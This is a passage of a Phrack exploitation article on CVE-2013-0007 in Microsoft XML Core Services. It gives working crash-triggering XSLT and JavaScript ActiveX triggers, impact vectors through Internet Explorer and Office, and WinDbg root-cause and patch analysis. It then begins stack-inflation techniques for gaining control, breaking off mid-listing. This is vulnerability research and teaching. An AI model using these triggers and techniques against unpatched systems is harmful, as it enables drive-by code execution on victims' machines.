![..[ Phrack Magazine ]..](../../images/phrack-logo.jpg){kind=logo}
.:: Self-patching Microsoft XML with misalignments and factorials ::.
Issues:
[ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #69 | Release date : 2016-05-06 | Editor : The Phrack Staff
| Introduction | The Phrack Staff |
| Phrack Prophile on Solar Designer | The Phrack Staff |
| Phrack World News | The Phrack Staff |
| Linenoise | various |
| Loopback | The Phrack Staff |
| The Fall of Hacker Groups | Strauss |
| Revisiting Mac OS X Kernel Rootkits | fG! |
| Adobe Shockwave - A case study on memory disclosure | aaron portnoy |
| Modern Objective-C Exploitation Techniques | nemo |
| Self-patching Microsoft XML with misalignments and factorials | Alisa Esage |
| Internet Voting: A Requiem for the Dream | kerrnel |
| Attacking Ruby on Rails Applications | joernchen |
| Obituary for an Adobe Flash Player bug | huku |
| OR'LYEH? The Shadow over Firefox | argp |
| How to hide a hook: A hypervisor for rootkits | uty & saman |
| International scenes | various |
Title : Self-patching Microsoft XML with misalignments and factorials
Author : Alisa Esage
==Phrack Inc.==
Volume 0x0f, Issue 0x45, Phile #0x0a of 0x10
|=----------------------------------------------------------------------=|
|=---------------=[ The Art of Exploitation ]=----------------=|
|=----------------------------------------------------------------------=|
|=--=[ Self-patching Microsoft XML with misalignments and factorials ]=-=|
|=----------------------------------------------------------------------=|
|=------------------------=[ by Alisa Esage ]=--------------------------=|
|=-------------------------=[ hey@alisa.sh ]=---------------------------=|
|=----------------------------------------------------------------------=|
"Maybe it says something about human nature,
that the only form of life we have created so far
is purely destructive."
-- Stephen Hawking on computer viruses
"I've tried to imagine what it would be like
to be a newcomer [in vulnerability research] in current times
and it's a bit depressing..."
-- Aaron Portnoy for PHRACK
In this article a vulnerable Microsoft XML module is directed into
invulnerable behavior by self-serving a two-byte inline memory patch
through an arbitrary code execution opportunity.
--[ Table of contents
1 - Introduction
2 - The vulnerability
2.1 - The trigger
2.2 - The impact vectors
2.3 - Analyzing the crash
2.4 - Estimating exploitability
2.5 - Patch analysis and the root cause
3 - The control
3.1 - Inflating the stack 1: XSLT recursion
3.2 - Inflating the stack 2: JavaScript recursion
3.4 - Filling the memory 1: images
3.5 - Filling the memory 2: integers
3.6 - Recursion control
3.7 - Program counter control
4 - The self-patch
4.1 - A leak without a leak
4.2 - The offset-to-value translation
5 - Further work
6 - Conclusion
7 - Thanks
8 - References
9 - Code
--[ 1 - Introduction
As a 'new school' binary vulnerability researcher, I've found it somewhat
challenging to learn the subject in the times when it's become highly
commercialized, which pushed the detailed technical security advisories
and technical analyses of regular vulnerabilities out of the public
access. While this article presents a funny research in the first place,
it was as well composed with beginner fellows in mind: aiming to
summarize the various foundational skills, techniques, and thinking
patterns required to analyze and control a modern and mundane, yet a
somewhat off-beat binary vulnerability. Besides revisiting the
foundation, the article introduces a few pieces of novel information,
such as Microsoft XML Core Services internals and some observations on
heap spraying and stack manipulations with the latest Internet Explorer.
The article covers a comprehensive deep technical analysis and control of
the remote code execution vulnerability in Microsoft XML Core Services,
CVE-2013-0007, for the purpose of self-patching. All the research and
proof-of-concept prototyping were done with a deliberately synthetic
platform, based on x86 Windows 7 with IE11 (which didn't even exist in
the time of the vulnerability discovery), with all the updates installed
but the one specific patch, and with the full page heap setting enabled
for the target process.
Although the vulnerability is two years old, the research is totally
relevant to the modern situation. The author is not aware of any public
or private exploits, as well as technical analyses for the described
vulnerability, which is actually quite interesting and unique. Regarding
the vulnerable software, remote code execution bugs in Microsoft XML Core
Services are not rare, if not under-represented in public sources, as one
was discovered by the low-skilled author herself in late 2014
(CVE-2014-4118). Vulnerabilities in Microsoft XML may be highly critical
because they allow not only for a drive-by exploitation of the Internet
Explorer, but also, for multiple impact vectors beyond the browser.
The code provided in this article is totally unreliable, guaranteed by the
highly entropic nature of the vulnerability that causes the minimum 25%
probability of an uncontrollable crash, as well as by superficial coding
and testing choices. In addition, the statements concerning undocumented
Windows internals were heavily based on debugging observations on a
couple of testing systems, and should be verified with reverse
engineering.
--[ 2 - The vulnerability
The vulnerability in question is a critical remote code execution bug in
Microsoft XML Core Services, relevant to every edition of the Windows
operating systems existing at the time of the discovery, according to the
original security bulletin. It was patched in early 2013 with the
Microsoft Security Bulletin MS13-002 [1] and the update KB2757638 (on x86
Windows 7), that was later superseded with KB2939576.
Although the bug can be reproduced with the four major versions of the
MSXML module (3, 4, 5, 6) that may co-exist and even execute side by side
on the target system, only version 6 is invoked by default on modern
systems.
Version 3 is still present on default installations of Windows 7 and 8.1
for backward compatibility, contained within the module msxml3.dll, and
may be invoked in the same script with version 6 by explicitly creating
the "MSXML2.DOMDOCUMENT.3.0" ActiveXObject. Version 5 was shipped with
Microsoft Office up to version 2007, and version 4 may be present on the
system with 3rd party software as part of the obsolete MSO SDK.
Additionally, some fuzzing efforts allowed us to deduce that versions 4,
5 and 6 are largely based on a shared code base, while version 3 has a
distinctively different code with version-specific bugs.
As the most actual version 6 is contained in the module msxml6.dll, all
further references to Microsoft XML internals will refer to the module
msxml6.dll of version 6.30.7600.16385.
--[ 2.1 - The trigger
The original crash inducing code published [2] without much details by the
researcher was a piece of XSLT code:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:template name="main_template" match="/">
<xsl:for-each select="*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:template>
<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />
</xsl:stylesheet>
XSLT is the standard extension to XML which serves to perform analysis and
transformation of the given XML data according to the given rules, and is
itself implemented in XML. This brings up the idea that the bug can
possibly be triggered via any application that uses the XSL
transformation functionality of the Microsoft XML Core Services.
--[ 2.2 - The impact vectors
After doing some research on the XSL transformation functionality in
various Windows software, I've come up with the following draft table of
theoretically possible impact vectors and tested some of them:
*------------------------------------------------------------------------*
|# | Target app | Technique | Testing comments |
|--+-------------------+-----------------------+-------------------------|
|1 | cscript | Call to MSXML ActiveX | |
| | | method transformNode()| Crash (Windows 7) |
|--+-------------------+-----------------------+-------------------------|
|2 | Internet Explorer | Call to MSXML ActiveX | |
| | | method transformNode()| Crash |
| | | | (Windows 7 + IE9/IE11) |
|--+-------------------+-----------------------+-------------------------|
|3 | DotNetNuke | Unknown | From the original |
| | | | publication, not tested |
|--+-------------------+-----------------------+-------------------------|
|4 | SharePoint | Unknown | From the original |
| | | | publication, not tested |
|--+-------------------+-----------------------+-------------------------|
|5 | Microsoft Word | Call to MSXML ActiveX | |
| | | via a macro | Crash (Office 2010) |
|--+-------------------+-----------------------+-------------------------|
|6 | Microsoft Word | Native XML-XSL | |
| | | transformation via an | |
| | | XSD scheme | May be possible if |
| | | | relies upon MSXML*1, |
| | | | not tested |
|--+-------------------+-----------------------+-------------------------|
|7 | Microsoft Word | Call to MSXML ActiveX | |
| | | method transformNode()| |
| | | via an embedded | |
| | | JavaScript in a | Crash (Office 2007) |
| | | Microsoft ActiveX | |
| | | control | |
|--+-------------------+-----------------------+-------------------------|
|8 | Microsoft Word | Call to the directly | |
| | | embedded ActiveX | Not possible*2 |
|--+-------------------+-----------------------+-------------------------|
|9 | Microsoft Project | Native XML-XSL | |
| | | transformation | May be possible*3, |
| | | | not tested |
|--+-------------------+-----------------------+-------------------------|
|* | Arbitrary app*4 | Call to MSXML ActiveX | |
| | | method transformNode()| Definitely possible, |
| | | | not tested |
*------------------------------------------------------------------------*
*1 Applying an XSLT Transform [Word 2003 XML Reference]
http://msdn.microsoft.com/en-us/library/office/
ee364545(v=office.11).aspx
*2 OOXML does not implement the functionality to call ActiveX methods,
although it can instantiate them:
[MS-OE376]: Office Implementation Information for ECMA-376 Standards
Support
http://msdn.microsoft.com/en-us/library/ff533853(v=office.12).aspx
*3 How to: Use XSLT Transformations with Project XML Data Interchange
Files
http://msdn.microsoft.com/en-us/library/office/
bb968529(v=office.12).aspx
*4 ...which uses MSXML's COM/ActiveX module
The above table of possible impact vectors is far from being exhaustive.
Most obviously, it should include at least the other Microsoft Office
applications, in addition to Word and Project.
--[ 2.3 - Analyzing the crash
One of the ways to trigger the XSL transformation functionality of
Microsoft XML Core Services is to call the transformNode() method from
the COM/ActiveX object MSXML2.DOMDocument.6.0 via e.g. JavaScript:
xslcontent='<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/
Transform"
version="1.0"><xsl:template name="main_template" match="/"><xsl:for-each
select="*"><xsl:apply-templates/></xsl:for-each></xsl:template><
xsl:template
name="xx" match="x[position()]" /></xsl:stylesheet>';
srcTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree.loadXML(xslcontent);
alert("crash");
srcTree.transformNode(xsltTree);
The above code, when executed either with the help of cscript command line
utility or from within an Internet Explorer web page, will produce a
crash due to an invalid memory read attempt, similar to the following:
(5f8.9d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ad9004d6 ebx=0e419ff0 ecx=0e419f42 edx=6f6e4430
esi=0e419f40 edi=04d6ac70 eip=6f6f9c85 esp=04d6ac6c
ebp=04d6ad88 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msxml6!XEngine::stns+0x6:
6f6f9c85 8b5008 mov edx,dword ptr [eax+8]
ds:0023:ad9004de=????????
An observation can be made across multiple tests that the crashing memory
address varies a little bit from test to test, but always falls into a
somewhat persistent address range in the kernel memory, which actually
causes the access violation.
Looking at the stack dump we can surmise that the crash occurs during the
processing of a particular XSLT instruction, represented by the function
XEngine::stns(), by the MSXML's XEngine' virtual machine:
0:007> k
ChildEBP RetAddr
04d6ac68 6f6e60cc msxml6!XEngine::stns+0x6
04d6ad88 6f6e60cc msxml6!XEngine::frame+0x84
04d6ae08 6f6f3e2d msxml6!XEngine::frame+0x84
04d6aeb8 6f75ffb0 msxml6!XEngine::execute+0x1b4
04d6af14 6f75fee3 msxml6!XUtility::executeXCode+0x90
04d6af68 6f75fe2b msxml6!XUtility::transformNode+0x4a
04d6afd4 6f75fda2 msxml6!DOMNode::transformNode+0xa6
04d6afe8 6f7460c9 msxml6!DOMDocumentWrapper::transformNode+0x17
04d6b004 6f760b71 msxml6!DOMNode::_invokeDOMNode+0x30e
...
Indeed, further analysis reveals a virtual machine execution loop, in
which the function XEngine::frame() is responsible for the execution of
the current fragment of 'XCode'. XCode is essentially a dynamically
constructed sequence of pointers to member functions of the XEngine class
along with their arguments, that was compiled from the input XSLT markup:
0:007> u msxml6!XEngine::frame l30
msxml6!XEngine::frame:
...
6f6e6092 call msxml6!XEngineFrame::initFrame (6f6e72c3)
...
; increment the pointer to the chain of XEngine functions:
6f6e60b8 add dword ptr [esi+0A0h],10h
; loop:
6f6e60bf mov eax,dword ptr [esi+0A0h];retrieve the next XEngine proc
6f6e60c5 mov ecx,dword ptr [eax+4] ; retrieve the argument
6f6e60c8 add ecx,esi ; increment the pointer to a global structure
6f6e60ca call dword ptr [eax] ; call the XEngine proc
6f6e60cc add dword ptr [esi+0A0h],eax
6f6e60d2 je msxml6!XEngine::frame+0x95 (6f6e60dd)
6f6e60d4 cmp byte ptr [esi+0B8h],0
6f6e60db je msxml6!XEngine::frame+0x77 (6f6e60bf) ; loop
The XCode which corresponds to the vulnerable XSLT code may be observed by
dumping of the current XEngine frame, which reveals the list of pointers
to functions to be called sequentially, as well as their arguments:
0:007> p
eax=06ca9ff4 ebx=06ca9ff0 ecx=0513b010 edx=0513b0a0 esi=06ca9f40
edi=0513b010 eip=6f6e60bf esp=0513b010 ebp=0513b088 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
msxml6!XEngine::frame+0x77:
6f6e60bf mov eax,dword ptr [esi+0A0h] ds:0023:06ca9fe0=6cf0c806
0:007> dds poi(esi+a0)
06c8f05c 6f6e6046 msxml6!XEngine::frame
06c8f060 00000000
06c8f064 00000030
06c8f068 c0c0c000
06c8f06c 6f6f9bba msxml6!XEngine::ldc_i
06c8f070 00000000
06c8f074 00000000
06c8f078 6f6f16e8 msxml6!XEngine::br
06c8f07c 00000000
06c8f080 00000128
06c8f084 6f6e6046 msxml6!XEngine::frame
06c8f088 00000000
06c8f08c 000000d0
06c8f090 c0c0c000
06c8f094 6f6e7868 msxml6!XEngine::ctxt
06c8f098 00000000
06c8f09c 0000000c
06c8f0a0 6f6e7399 msxml6!XEngine::ch
06c8f0a4 00000000
06c8f0a8 00000024
06c8f0ac 06c8bde4
06c8f0b0 6f6f16e8 msxml6!XEngine::br
06c8f0b4 00000000
06c8f0b8 0000000c
06c8f0bc 6f6f9c7f msxml6!XEngine::stns
06c8f0c0 00000002
06c8f0c4 6f6fcf32 msxml6!XEngine::locldns
06c8f0c8 00000000
06c8f0cc 00000050
06c8f0d0 6f6fa250 msxml6!XEngine::brns
06c8f0d4 00000000
06c8f0d8 0000009c
...
Each function of the XEngine class works with an undocumented global s
structure, referenced by the registers esi or ecx within the class code.
The structure holds pointers to MSXML's virtual address tables, stack
pointers and some other values:
0:007> dds esi l40
06ca9f40 6f6c1754 msxml6!SXPQCompiler::`vftable'
06ca9f44 6f6e75d8 msxml6!XEngine::`vftable'
06ca9f48 00000008
06ca9f4c 6f6e75c8 msxml6!XEngine::CurrentExprEval::`vftable'
06ca9f50 6f6e75d0 msxml6!XEngine::GlobalExprEval::`vftable'
06ca9f54 06ca9f40
06ca9f58 06ca9f78
06ca9f5c 06c8bda8
06ca9f60 00000000
06ca9f64 00000000
06ca9f68 00000000
06ca9f6c 00000000
06ca9f70 00000000
06ca9f74 00000000
06ca9f78 6f6e7620 msxml6!XRuntime::`vftable'
...
In the vulnerable code, the pointer to the structure is being incremented
in the XEngine loop, within the XEngine::frame() function, by the value
provided in the XCode frame:
; loop:
6f6e60bf mov eax,dword ptr [esi+0A0h];retrieve the next XEngine proc
6f6e60c5 mov ecx,dword ptr [eax+4] ; retrieve the argument
6f6e60c8 add ecx,esi ; increment the pointer to the global structure
The reason of the crash is that, immediately before entering the
XEngine::stns() function, the pointer to the global structure is
incremented by the invalid value of 2:
msxml6!XEngine::frame+0x82:
6f6e60ca call dword ptr [eax];ds:0023:0d5af0bc={msxml6!XEngine::stns}
0:007> u eip-10
msxml6!XEngine::frame+0x72:
...
6f6e60bf mov eax,dword ptr [esi+0A0h]
6f6e60c5 mov ecx,dword ptr [eax+4]
6f6e60c8 add ecx,esi
6f6e60ca call dword ptr [eax]
0:007> dds poi(esi+a0)
06c8f0bc 6f6f9c7f msxml6!XEngine::stns
06c8f0c0 00000002
Next, when the improperly incremented pointer is dereferenced in
XEngine::stns(), it leads to the misaligned memory access and invalid
values being retrieved, causing the crash:
msxml6!XEngine::stns+0x6:
6f6f9c85 mov edx,dword ptr [eax+8] ds:0023:b010051b=????????
; where did eax come from?
0:007> u eip-6
msxml6!XEngine::stns:
; should point to the global structure
6f6f9c7f mov eax,dword ptr [ecx+0B0h]
6f6f9c85 mov edx,dword ptr [eax+8]
...
0:007> dds ecx
; looks like total garbage, but it's actually due to the misalignment...
06ca9f42 75d86f6c shell32!__dyn_tls_init_callback (shell32+0x5f6f6c)
06ca9f46 00086f6e
06ca9f4a 75c80000 shell32!__dyn_tls_init_callback (shell32+0x4f0000)
06ca9f4e 75d06f6e shell32!__dyn_tls_init_callback (shell32+0x576f6e)
06ca9f52 9f406f6e
...
; ...and the correctly aligned structure is actually 2 bytes higher:
0:007> dds ecx-2
06ca9f40 6f6c1754 msxml6!SXPQCompiler::`vftable'
06ca9f44 6f6e75d8 msxml6!XEngine::`vftable'
06ca9f48 00000008
06ca9f4c 6f6e75c8 msxml6!XEngine::CurrentExprEval::`vftable'
06ca9f50 6f6e75d0 msxml6!XEngine::GlobalExprEval::`vftable'
06ca9f54 06ca9f40
06ca9f58 06ca9f78
06ca9f5c 06c8bda8
06ca9f60 00000000
...
At this point the vulnerability does not look very promising: the crashing
memory address being read from a valid pointer to internal program data,
shifted by strictly two bytes.
--[ 2.4 - Estimating exploitability
Let's observe the vulnerable XCode frame once again:
0:007> dds poi(esi+a0)
06c8f05c 6f6e6046 msxml6!XEngine::frame
06c8f060 00000000
06c8f064 00000030
06c8f068 c0c0c000
06c8f06c 6f6f9bba msxml6!XEngine::ldc_i
06c8f070 00000000
06c8f074 00000000
06c8f078 6f6f16e8 msxml6!XEngine::br
06c8f07c 00000000
06c8f080 00000128
06c8f084 6f6e6046 msxml6!XEngine::frame
06c8f088 00000000
06c8f08c 000000d0
06c8f090 c0c0c000
06c8f094 6f6e7868 msxml6!XEngine::ctxt
06c8f098 00000000
06c8f09c 0000000c
06c8f0a0 6f6e7399 msxml6!XEngine::ch
06c8f0a4 00000000
06c8f0a8 00000024
06c8f0ac 06c8bde4
06c8f0b0 6f6f16e8 msxml6!XEngine::br
06c8f0b4 00000000
06c8f0b8 0000000c
06c8f0bc 6f6f9c7f msxml6!XEngine::stns
06c8f0c0 00000002
06c8f0c4 6f6fcf32 msxml6!XEngine::locldns
06c8f0c8 00000000
06c8f0cc 00000050
06c8f0d0 6f6fa250 msxml6!XEngine::brns
06c8f0d4 00000000
We can see that, at some point after the execution of the XEngine::stns()
function, the XEngine::brns() function will be called, that contains a
dynamic call:
msxml6!XEngine::brns:
712da250 mov edi,edi
712da252 push esi
712da253 mov esi,ecx
712da255 mov ecx,dword ptr [esi+0A4h]
712da25b mov eax,dword ptr [ecx] ; {msxml6!ChildNodeSet::`vftable'}
712da25d call dword ptr [eax] ; dynamic call
The dynamic call address in XEngine::brns() derives from the same place in
memory where XEngine::stns() wrote something:
msxml6!XEngine::stns:
6f6f9c7f mov eax,dword ptr [ecx+0B0h]
6f6f9c85 mov edx,dword ptr [eax+8]
6f6f9c88 push esi
6f6f9c89 lea esi,[edx+0Ch]
6f6f9c8c mov dword ptr [eax+8],esi
6f6f9c8f mov eax,dword ptr [edx+4]
6f6f9c92 push 8
6f6f9c94 mov dword ptr [ecx+0A4h],eax ; wrote something
6f6f9c9a pop eax
6f6f9c9b pop esi
6f6f9c9c ret
More precisely, the written value derives from the crashing memory
address:
msxml6!XEngine::stns:
6f6f9c7f mov eax,dword ptr [ecx+0B0h]
6f6f9c85 mov edx,dword ptr [eax+8] ; read (crashes here)
6f6f9c88 push esi
6f6f9c89 lea esi,[edx+0Ch]
6f6f9c8c mov dword ptr [eax+8],esi
6f6f9c8f mov eax,dword ptr [edx+4] ; read
6f6f9c92 push 8
6f6f9c94 mov dword ptr [ecx+0A4h],eax ; write
6f6f9c9a pop eax
6f6f9c9b pop esi
6f6f9c9c ret
Which means that, in the case that the crashing memory was readable, an
address value would be read from that memory, to be call'ed later within
XEngine::brns(). What happens here is probably some manipulations with the
virtual address tables of the XEngine class.
However in the vulnerable context, because the global pointer is only
corrupted in stns() while being intact in brns(), only two upper bytes of
the final memory destination will be overwritten:
; read(+B0+2)=0c6f0027d, write(+A4+2)=0c79c027d, call(+A4)=027dc7b4:
0:005> dpp ecx-2 L30
...
04388840 045ea780 711d31e8 msxml6!Vector::`vftable'
04388844 0438bab8 711d1754 msxml6!SXPQCompiler::`vftable'
04388848 04389484 71209c7f msxml6!XEngine::stns
+0A4h 0438884c 027dc7b4 711f44b8 msxml6!RTFNodeSet::`vftable'
04388850 027dc79c 711f44b8 msxml6!RTFNodeSet::`vftable'
04388854 045e02b0 711ddcf8 msxml6!Name::`vftable'
+0B0h 04388858 027dc5d0 027dc6f0
0438885c 027dc6f0 027dc770
04388860 00000000
In other words, it might be possible to control at most the higher word
of the pointer used to retrieve the dynamic call address.
Next, because of the 2-bytes misaligned memory read in XEngine::stns(),
the crashing address is essentially a composition of two valid stack
pointers:
msxml6!XEngine::stns+0x6:
6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????
; composed from the two valid stack pointers:
0:007> dds ecx+b0-2
0d5c9ff0 0532af20
0d5c9ff4 0532b040
; both of them on the stack:
0:007> k
ChildEBP RetAddr
0532af18 6f6e60cc msxml6!XEngine::stns+0x6
0532b038 6f6e60cc msxml6!XEngine::frame+0x84
; ...the pointers
0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84
0532b168 6f75ffb0 msxml6!XEngine::execute+0x1b4
That is, the upper word of the crashing memory address is equal to the
lower word of the stack address, located somewhere within the local
variables frame of XEngine::frame(). Which means that, in this particular
vulnerability context, the crashing memory address depends exclusively on
the stack layout.
Next, it was mentioned in the original publication that slightly different
crashes could be observed by modifying the vulnerable XSLT code. Indeed,
the following XSLT code would cause a 6-bytes misaligned memory access in
XEngine::stns():
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:template name="main_template" match="/">
<xsl:for-each select="*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:template>
<xsl:template name="xxx_nonexistent"
match="//xxx[position()=last()]" />
</xsl:stylesheet>
However, a 6-bytes misaligned pointer crash is not possible to control,
because it can only yield the null page read:
0:005> dpp ecx+6 L30
...
042a8840 0480a760 715e31e8 msxml6!Vector::`vftable'
042a8844 042abab8 715e1754 msxml6!SXPQCompiler::`vftable'
042a8848 042a9484 71619c7f msxml6!XEngine::stns
042a884c 0269c684 716044b8 msxml6!RTFNodeSet::`vftable'
042a8850 0269c66c 716044b8 msxml6!RTFNodeSet::`vftable'
042a8854 048002b0 715edcf8 msxml6!Name::`vftable'
042a8858 0269c4a0 0269c5c0
042a885c 0269c5c0 0269c640
042a8860 00000000 ; it's always null
042a8864 00000000
All in all, the vulnerability looks quite exploitable at this point.
--[ 2.5 - Patch analysis and the root cause
I decided to look at the exact root cause of the vulnerability in order
to see if there might be any other ways to control it besides messing
with the thread stack. May the pointer incrementing value be controlled?
Or maybe, any opportunities to trigger the vulnerability with a
completely different input XSLT code? Because the vulnerability is
already patched, it's possible to leverage patch analysis for the root
cause investigation.
From binary diffing of the patch we can see that the crashing procedure
XEngine::stns() was not even patched. Instead, the XEngine::frame()
procedure was patched by completely removing the pointer incrementing
code:
*---------------------------------------------------*
| Vulnerable code | Patched code |
|-------------------------+-------------------------|
| loc_726C60BF: | loc_726C6BB6: |
| mov eax, [esi+0A0h] | mov eax, [esi+9Ch] |
| mov ecx, [eax+4] | mov ecx, esi |
| add ecx, esi | - |
| call dword ptr [eax] | call dword ptr [eax] |
| add [esi+0A0h], eax | add [esi+9Ch], eax |
*---------------------------------------------------*
But where exactly did the invalid incremental value originate from?
Among few dozens of modified procedures in the patch, there is a bunch of
XCodeGen class functions, all of them initializing the XCode frame:
.text:72733631 ; public: void __thiscall XCodeGen::brns(unsigned char *)
.text:72733631 ?brns@XCodeGen@@QAEXPAE@Z proc near
.text:7273363A xor esi, esi
.text:7273363C mov edx, offset XEngine::brns(void)
.text:72733641 mov [eax+4], esi ; the argument
.text:72733644 mov [eax], edx ; the function address
In the above code, two XCode frame slots are initialized: both the call
pointer (set to the address of XEngine::brns() in this case) and the
incremental value (set to zero). In fact, all functions of the XCodeGen
class initialize the incremental value to zero. But then, in some cases
the value becomes corrupted after the call to XCodeGen::ensureCapacity():
.text:726C6B93 ; public: void __thiscall XCodeGen::ch(class NavFilter *)
.text:726C6B93 ?ch@XCodeGen@@QAEXPAVNavFilter@@@Z proc near
.text:726C6B93
.text:726C6B93 arg_0 = dword ptr 8
.text:726C6B93
.text:726C6B93 mov edi, edi
.text:726C6B95 push ebp
.text:726C6B96 mov ebp, esp
.text:726C6B98 push ebx
.text:726C6B99 push esi
.text:726C6B9A push edi
.text:726C6B9B push 10h
.text:726C6B9D mov esi, ecx
.text:726C6B9F mov edi, offset XEngine::ch(void)
.text:726C6BA4 xor ebx, ebx
.text:726C6BA6 call XCodeGen::ensureCapacity(uint)
.text:726C6BAB mov [eax], edi
; ebx *should* be zero unless ensureCapacity() messes with it:
.text:726C6BAD mov [eax+4], ebx
And the actual corruption takes place inside the
ASTCodeGen::xpathFunctionCode() function, which sets some bits of the
incremental value with either mask 2 or 4 (or possibly, both):
msxml6!ASTCodeGen::xpathFunctionCode+0x347:
720abf20 5e pop esi
720abf21 5b pop ebx
720abf22 5d pop ebp
720abf23 c20400 ret 4
720abf26 8b4604 mov eax,dword ptr [esi+4]
720abf29 8b4018 mov eax,dword ptr [eax+18h]
720abf2c 83481002 or dword ptr [eax+10h],2
...
msxml6!ASTCodeGen::xpathFunctionCode+0x12a:
720ef0f6 83481004 or dword ptr [eax+10h],4
720ef0fa 8b4e04 mov ecx,dword ptr [esi+4]
720ef0fd e80a000000 call msxml6!XCodeGen::last (720ef10c)
720ef102 e918cefbff jmp msxml6!ASTCodeGen::xpathFunctionCode+0x346
There is a jump table, likely a case switch, that refers to both of the
bit-setting code branches:
; DATA XREF: ASTCodeGen::xpathFunctionCode(FunctionCallNode *)+31r
.text:72738022 off_72738022 dd offset loc_7271C27D
.text:72738022 dd offset loc_7273731D
.text:72738022 dd offset loc_7273CD36
.text:72738022 dd offset loc_7273DB58
.text:72738022 dd offset loc_727373BF
.text:72738022 dd offset loc_726FD455
.text:72738022 dd offset loc_726FDD0C
.text:72738022 dd offset loc_72737FD8
.text:72738022 dd offset loc_7271C388
.text:72738022 dd offset loc_72737393
.text:72738022 dd offset loc_7273F9A6
.text:72738022 dd offset loc_72737FEF
.text:72738022 dd offset loc_726F95D7
.text:72738022 dd offset loc_727373BF
.text:72738022 dd offset loc_727373BF
.text:72738022 dd offset loc_727373C6
.text:72738022 dd offset loc_726FF1C8
.text:72738022 dd offset loc_7271C3D0
.text:72738022 dd offset loc_727373BF
.text:72738022 dd offset loc_726FAD0A
.text:72738022 dd offset loc_7273E8DD
.text:72738022 dd offset loc_726FAF60
.text:72738022 dd offset loc_726FA10C
.text:72738022 dd offset loc_726F9CCB
.text:72738022 dd offset loc_726FCCEA
By looking through other switch cases in the table we can confirm that
none of them performs any other write operations with the memory location
in question. Thus, the pointer incremental value can only be set to the
three values: 2, 4, and 6 (2 OR 4), of which only the first case would be
controllable.
Next, because the actual corrupting code (the OR instruction) was not
eliminated by the patch, but rather, the incrementing instruction was
eliminated, we have to assume that there might be other code paths which
rely upon corrupted values. But the likeliness of this is low beyond the
scope of the XEngine class, of which the main function XEngine::frame()
was already patched. So, I dropped this opportunity as not worthy of
investigation.
Another opportunity that must be considered is, if it might be possible to
control the original values from which the crashing pointer was composed.
But, in the debugging context it's clear that the values are just
pointers to local variables and thus unlikely to be controlled directly:
msxml6!XEngine::stns+0x6:
6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????
0:007> dds ecx+b0-2
0d5c9ff0 0532af20
0d5c9ff4 0532b040
0:005> u eip-30 l30
msxml6!XEngine::execute+0xad:
...
711c3d8c 8d45a4 lea eax,[ebp-5Ch]
...
711c3d8f 8983a4000000 mov dword ptr [ebx+0A4h],eax
As a side note, the patch analysis for this case would not have been
possible without prior knowledge of the crash triggering input and the
crash context, because the patched code is so far away from both the
crashing code and the vulnerability root cause, while the volume of code
modifications introduced by the patch is huge.
--[ 3 - The control
At this point it's clear that the only reasonable way to control the
vulnerability is to inflate the stack so that the crashing pointer would
fall into userland memory area that can possibly be controlled:
msxml6!XEngine::stns+0x6:
6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????
0:007> u eip-6
msxml6!XEngine::stns:
6f6f9c7f 8b81b0000000 mov eax,dword ptr [ecx+0B0h]
6f6f9c85 8b5008 mov edx,dword ptr [eax+8]
0:007> dds ecx+b0-2
0d5c9ff0 0532af20
0d5c9ff4 0532b040
0:007> k
ChildEBP RetAddr
0532af18 6f6e60cc msxml6!XEngine::stns+0x6
0532b038 6f6e60cc msxml6!XEngine::frame+0x84
0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84
0532b168 6f75ffb0 msxml6!XEngine::execute+0x1b4
Given the above listing, it would be nice to have the second
XEngine::frame() call happening around e.g. 0x05320300, that would send
the crashing pointer value 0x0300053a to XEngine::stns(), pointing to the
heap. Which requires that, prior to the vulnerable procedure call, the
thread must make function calls and stack frame allocations worth of
approximately 42 kilobytes of stack memory and never pop them.
--[ 3.1 - Inflating the stack 1: XSLT recursion
The obvious way to inflate the stack is to generate a recursion on the
stack, which should be possible with any dynamic technology available to
the target application. My first idea was to use XSLT itself for this.
Indeed, the following code, which is the classical Hanoi algorithm
implementation in XSLT, will produce a massive recursion on the stack (
for the record, it might even DoS the browser with big enough $n):
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="n">
<xsl:value-of select="//arg/@n"/>
</xsl:variable>
<xsl:element name="hanoi-solve">
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="30"/>
<xsl:with-param name="to" select="3"/>
<xsl:with-param name="from" select="1"/>
